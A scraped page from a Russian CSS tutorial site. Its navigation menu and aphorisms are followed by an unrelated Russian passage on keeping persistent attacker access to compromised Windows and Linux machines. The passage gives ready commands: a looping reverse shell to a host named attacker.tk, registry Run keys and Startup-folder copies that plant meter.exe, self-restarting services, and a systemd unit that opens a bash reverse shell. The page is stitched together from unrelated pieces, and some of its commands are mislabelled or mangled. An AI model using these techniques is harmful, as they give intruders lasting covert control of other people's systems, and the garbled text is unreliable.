Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.
Вот как это работает в Windows:
bash$> nohup bash -c "while :; do bash -i & /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.
cmd$>reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun"/v persistence /t REG_SZ /d "C:usersusernamemeter.exe"cmd#>copy meter.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartupcmd#>reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun"/v persistence /t REG_SZ /d "C:Windowssystem32meter.exe"
Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.
Для Windows создание службы потребует права администратора.
cmd#>sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
bash$> vim ~/.config/systemd/user/persistence.service
Содержимое файла:
[Unit]
Description=persistence
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
И запускаем созданную службу:
bash#> systemctl start persistence.service
bash$>systemctl --user enable persistence.service
bash$>systemctl --user start persistence.service
Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.
|
|